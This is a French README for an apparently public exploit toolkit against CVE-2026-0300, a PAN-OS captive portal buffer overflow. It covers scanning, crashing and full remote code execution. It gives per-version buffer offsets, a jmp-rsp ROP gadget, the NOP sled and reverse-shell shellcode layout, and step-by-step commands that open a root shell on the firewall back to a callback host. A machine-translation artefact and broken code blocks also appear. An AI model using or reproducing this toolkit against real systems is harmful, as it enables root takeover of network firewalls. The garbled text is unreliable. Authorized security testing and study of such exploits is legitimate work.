
Palo Alto - Exploit CVE-2026-0300
Critique (CVSS 9.3) — Exécution de code à distance non authentifiée dans le portail captif PAN-OS de Palo Alto Networks
CVE-2026-0300 est une vulnérabilité critique de débordement de tampon dans le service User-ID Authentication Portal (également connu sous le nom de portail captif) du logiciel PAN-OS de Palo Alto Networks. Un attaquant non authentifié peut exploiter cette vulnérabilité en envoyant des paquets spécialement conçus pour exécuter du code arbitraire avec les privilèges root sur les pare-feu des séries PA et VM.
Ce dépôt contient une boîte à outils d'exploitation proof-of-concept comprenant :
| Champ | Valeur |
|---|---|
| CVE ID | CVE-2026-0300 |
| Sévérité | CRITIQUE |
| CVSS 4.0 | 9.3 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) |
| CWE | CWE-787 : Écriture hors limites |
| CAPEC | CAPEC-100 : Débordement de tampons |
| Impact | Exécution de code à distance non authentifiée (root) |
| Statut d'exploitation | Exploitation limitée observée dans la nature |
Une vulnérabilité de débordement de tampon dans le service User-ID Authentication Portal du logiciel PAN-OS permet à un attaquant non authentifié d'exécuter du code arbitraire avec les privilèges root sur le pare-feu en envoyant des paquets spécialement conçus. Le service HTTP du portail captif utilise des tampons de pile de taille fixe pour analyser les en-têtes HTTP, qui peuvent être débordés par des valeurs d'en-tête surdimensionnées (Cookie, User-Agent, URI ou corps de requête POST).
Les deux conditions doivent être réunies pour qu'une cible soit vulnérable :
| Branche PAN-OS | Versions vulnérables | Version corrigée |
|---|---|---|
| 10.2 | 10.2.7, 10.2.10, 10.2.13, 10.2.16, 10.2.18 | 10.2.7-h34+ |
| 11.1 | 11.1.0–11.1.14 | 11.1.15+ |
| 11.2 | 11.2.0–11.2.11 | 11.2.12+ |
| 12.1 | 12.1.0–12.1.6 | 12.1.7+ |
Non concernés : Prisma Access, Cloud NGFW, appliances Panorama.
┌─────────────────────────────────────────────────────────────────────┐ │ CVE-2026-0300 Exploit Toolkit │ ├─────────────────────────────────────────────────────────────────────┤ │ │ │ ┌────────────┐ ┌─────────────────┐ ┌────────────────────┐ │ │ │ scan.py │────▶│ HTTP Fingerprint│ │ payload_gen.py │ │ │ │ Scanner │ │ + Version Check │ │ │ │ │ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │ │ │ │ │ Version │ │ │ │ │ Reports: │ │ Offsets │ │ │ │ │ • Portal detected? │ │ (10.2/11.1/ │ │ │ │ │ • PAN-OS version │ │ 11.2/12.1) │ │ │ │ │ • Vulnerable? │ └──────────────┘ │ │ │ ▼ │ ┌──────────────┐ │ │ │ ┌────────────┐ ┌─────────────────┐ │ │ Shellcode │ │ │ │ │ exploit.py │────▶│ Raw Socket │ │ │ Generator │ │ │ │ │ Exploit │ │ HTTP Delivery │ │ │ (x86_64 rev │ │ │ │ └────────────┘ └─────────────────┘ │ │ shell) │ │ │ │ │ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ │ ┌──────────────┐ │ │ │ ├─▶│ MODE: detect │ │ │ ROP Chain │ │ │ │ │ │ Safe, non-intrusive │ │ │ (jmp rsp) │ │ │ │ │ └──────────────────────┘ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ │ ┌──────────────┐ │ │ │ ├─▶│ MODE: crash │ │ │ HTTP Request │ │ │ │ │ │ DoS validation │ │ │ Builder │ │ │ │ │ └──────────────────────┘ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ └────────────────────┘ │ │ └─▶│ MODE: rce │ │ │ │ Reverse shell │ ┌──────────────────────┐ │ │ └──────────────────────┘ │ ReverseShellListener │ │ │ │ │ (callback receiver) │ │ │ ▼ └──────────────────────┘ │ │ ┌──────────────────┐ │ │ │ Target Firewall │ │ │ │ PAN-OS Captive │ │ │ │ Portal Service │ │ │ └──────────────────┘ │ └─────────────────────────────────────────────────────────────────────┘
### Flux du scanner```
┌─────────────┐
│ Start Scan │
└──────┬──────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Target reachable?│──────────▶│ Skip port │
└──────┬───────────┘ └─────────────┘
│ Yes
▼
┌──────────────────┐
│ Send HTTP GET │
│ to common ports │
│ (443,80,8080, │
│ 8443,8843) │
└──────┬───────────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Captive Portal │──────────▶│ Not exposed │
│ fingerprint? │ └─────────────┘
│ (login.esp, │
│ User-ID, PA-, │
│ PAN-OS, etc.) │
└──────┬───────────┘
│ Yes
▼
┌──────────────────┐
│ Extract PAN-OS │
│ version from │
│ Server header / │
│ response body │
└──────┬───────────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Version in │──────────▶│ Not │
│ vulnerable │ │ vulnerable │
│ range? │ └─────────────┘
└──────┬───────────┘
│ Yes
▼
┌──────────────────┐
│ Report: │
│ • VULNERABLE │
│ • Version │
│ • Matched ranges │
│ • SSL cert info │
└──────────────────┘
┌──────────────────────────────────────────────────────────────────┐ │ EXPLOIT EXECUTION FLOW │ │ │ │ 1. Generate Payload │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ [Padding to offset] [Saved FP] [ROP: jmp rsp] │ │ │ │ [NOP sled (128B)] [Shellcode (184B rev shell)] │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 2. Embed in HTTP Header ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ GET / HTTP/1.1 │ │ │ │ Host: target:443 │ │ │ │ Cookie: │ │ │ │ Connection: close │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 3. Start Listener ▼ │ │ ┌──────────────────┐ │ │ │ Listener binds │ ← Must start BEFORE sending payload │ │ │ on callback │ │ │ │ IP:port │ │ │ └──────────────────┘ │ │ │ │ │ 4. Send via SSL/TLS ▼ │ │ ┌──────────────────┐ │ │ │ Raw socket │ → Target Captive Portal service │ │ │ sends request │ │ │ └──────────────────┘ │ │ │ │ │ 5. Buffer Overflow ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ Portal parses Cookie header into fixed-size stack buffer│ │ │ │ Buffer overflows → overwrites saved FP + return address │ │ │ │ Return address → ROP gadget (jmp rsp) │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 6. Code Execution ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ jmp rsp → NOP sled → shellcode executes │ │ │ │ socket() → connect(attacker_ip, port) → dup2() → │ │ │ │ execve("/bin/sh") │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 7. Reverse Shell ▼ │ │ ┌──────────────────┐ │ │ │ Listener accepts│ → Attacker has root shell on firewall │ │ │ callback │ │ │ └──────────────────┘ │ └──────────────────────────────────────────────────────────────────┘
---
## Structure du projet```
POC-CVE-2026-0300-exploit/
├── payload_gen.py # Payload generation (shellcode, ROP, HTTP request builder)
├── scan.py # Vulnerability scanner (detect Captive Portal + version)
├── exploit.py # Exploit orchestrator (detect/crash/rce modes)
├── requirements.txt # Python dependencies
└── README.md # This file
git clone [email protected]:sam00/POC-CVE-2026-0300-exploit.git cd POC-CVE-2026-0300-exploit
pip3 install -r requirements.txt
**Prérequis**: Python 3.8+, bibliothèque standard uniquement pour les fonctionnalités de base. `requests` est optionnel.
---
## Utilisation du scanner — Pas à pas
Le scanner effectue des vérifications sûres et non intrusives pour identifier les cibles PAN-OS Captive Portal vulnérables.
### Étape 1: Scanner une seule cible```bash
python3 scan.py --target 192.168.1.1
Le scanner va :
python3 scan.py --target 192.168.1.1 --port 443
### Étape 3 : Scanner plusieurs cibles depuis un fichier
Créez un fichier `targets.txt` avec une cible par ligne :```
192.168.1.1
10.0.0.5
firewall.example.com
# Comments are ignored
The input chunk is empty — no content was provided to translate.```bash python3 scan.py --targets targets.txt
### Étape 4 : Enregistrer les résultats au format JSON```bash
python3 scan.py --target 192.168.1.1 --json scan_results.json
Target: 192.168.1.1 Ports: 443, 80, 8080, 8443, 8843 Time: 2026-08-06T12:00:00+00:00 Portal: DETECTED Status: VULNERABLE
### Ce que le scanner détecte
| Indicateur | Méthode |
|-----------|--------|
| Portail captif exposé | Correspondance d'empreinte HTTP (modèles login.esp, User-ID, PA-, PAN-OS) |
| Version PAN-OS | Analyse de l'en-tête Serveur, extraction par regex du corps de réponse |
| Version vulnérable | Comparaison avec les plages de versions affectées par CVE-2026-0300 |
| Certificat SSL | Sujet/émetteur du certificat pour l'identification de la cible |
---
## Utilisation de l'exploit — Étape par étape
L'exploit prend en charge trois modes d'intensité croissante.
### Mode 1 : Détection (sûr, non intrusif)
Envoie un en-tête modérément surdimensionné et compare la réponse à une requête normale. Ne fait PAS planter le service.```bash
python3 exploit.py --target 192.168.1.1 --mode detect
Ce qu'il fait:
Envoie un payload de débordement de tampon avec une adresse de retour invalide (0x41414141) pour faire planter le service du portail captif.```bash python3 exploit.py --target 192.168.1.1 --mode crash --version 11.2.7
**Ce qu'il fait** :
- Génère un payload de débordement spécifique à la version
- Écrase l'adresse de retour avec 0x4141414141414141
- Envoie via le vecteur de débordement choisi (par défaut : en-tête Cookie)
- Vérifie le crash du service avec une requête de suivi
- Rapporte si le service est hors ligne après le payload
**Options** :
- `--vector cookie|ua|uri|post` — Choisir le vecteur de débordement (par défaut : cookie)
- `--http` — Utiliser HTTP au lieu de HTTPS
### Mode 3 : RCE complet (Reverse Shell)
Envoie un débordement de tampon avec un payload de reverse shell. Démarre un listener pour recevoir le callback.```bash
python3 exploit.py --target 192.168.1.1 --mode rce \
--version 11.2.7 \
--callback-ip 10.0.0.1 \
--callback-port 4444
Ce qu'il fait :
Arguments requis :
--version — Version de PAN-OS ciblée (détermine l'offset du buffer et le gadget ROP)--callback-ip — Votre adresse IP (doit être accessible depuis la cible)--callback-port — Port pour le callback du reverse shell (défaut : 4444)Arguments optionnels :
--vector cookie|ua|uri|post — Vecteur de débordement (défaut : cookie)--nop-sled 128 — Taille du NOP sled en octets (défaut : 128)--timeout 30 — Délai d'expiration de la connexion et de l'écouteur en secondes--http — Utiliser HTTP au lieu de HTTPS--json report.json — Enregistrer le rapport d'exploit au format JSON[] RCE mode — targeting 192.168.1.1:443 (PAN-OS 11.2.7, vector: cookie) [] Callback: 10.0.0.1:4444 [] Payload generated: Vector: cookie Offset: 3072 bytes to RIP Padding: 3072 bytes ROP chain: 8 bytes NOP sled: 128 bytes Shellcode: 184 bytes Total: 3392 bytes SHA256: a1b2c3d4... [] HTTP request built: 3475 bytes [] Starting listener on 10.0.0.1:4444... [] Sending exploit payload... [*] Payload sent. Waiting for callback (timeout: 30s)... [+] REVERSE SHELL RECEIVED from 192.168.1.1!
### Versions prises en charge et vecteurs
**Versions** (avec décalages de tampon spécifiques à la version) :
| Version | Décalage du tampon | Gadget ROP | Vecteur par défaut |
|---------|--------------|------------|----------------|
| 10.2.7 | 2048 | jmp rsp | cookie |
| 10.2.10 | 2048 | jmp rsp | cookie |
| 10.2.13 | 2048 | jmp rsp | cookie |
| 10.2.16 | 2048 | jmp rsp | cookie |
| 10.2.18 | 2048 | jmp rsp | cookie |
| 11.1.0 | 1024 | jmp rsp | cookie |
| 11.1.4 | 1024 | jmp rsp | ua |
| 11.1.6 | 1280 | jmp rsp | ua |
| 11.1.7 | 1280 | jmp rsp | ua |
| 11.1.10 | 1280 | jmp rsp | ua |
| 11.1.13 | 1280 | jmp rsp | ua |
| 11.2.0 | 3072 | jmp rsp | cookie |
| 11.2.4 | 3072 | jmp rsp | cookie |
| 11.2.7 | 3072 | jmp rsp | cookie |
| 11.2.10 | 3072 | jmp rsp | cookie |
| 12.1.0 | 4096 | jmp rsp | post |
| 12.1.4 | 4096 | jmp rsp | post |
**Vecteurs** :
| Vecteur | En-tête/Emplacement | Description |
|--------|----------------|-------------|
| `cookie` | En-tête Cookie | Débordement via une valeur Cookie surdimensionnée |
| `ua` | En-tête User-Agent | Débordement via une valeur User-Agent surdimensionnée |
| `uri` | Chemin de la requête URI | Débordement via un chemin URI surdimensionné |
| `post` | Corps de la requête POST | Débordement via des données de formulaire POST surdimensionnées |
---
## Conception du payload
### Disposition du débordement de tampon```
┌─────────────────────────────────────────────────────────────────┐
│ HTTP Header Value (Cookie / User-Agent / URI / POST body) │
├──────────┬──────────┬──────────┬──────────┬────────────────────┤
│ Padding │ Saved │ ROP │ NOP │ Shellcode │
│ (to │ Frame │ Gadget │ Sled │ (reverse shell) │
│ offset) │ Pointer │ (jmp │ (\x90 │ │
│ │ (8 B) │ rsp) │ * N) │ │
└──────────┴──────────┴──────────┴──────────┴────────────────────┘
↑ ↑
Buffer overflow Return address overwritten
overwrites here with jmp rsp gadget
L'exploit utilise un shellcode Linux x86_64 indépendant de la position qui :
socket(AF_INET, SOCK_STREAM, 0))connect())dup2())execve("/bin/sh", NULL, NULL))Taille totale du shellcode : ~184 octets, contient des instructions syscall (\x0f\x05).
Cet outil est fourni uniquement pour des tests de sécurité autorisés et à des fins pédagogiques. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test. Toute utilisation non autorisée contre des systèmes de production est illégale et peut enfreindre les lois relatives à la fraude informatique et aux abus.
Les auteurs déclinent toute responsabilité en cas d'utilisation abusive de cet outil. Suivez toujours les pratiques de divulgation responsable et conformez-vous aux lois et réglementations applicables.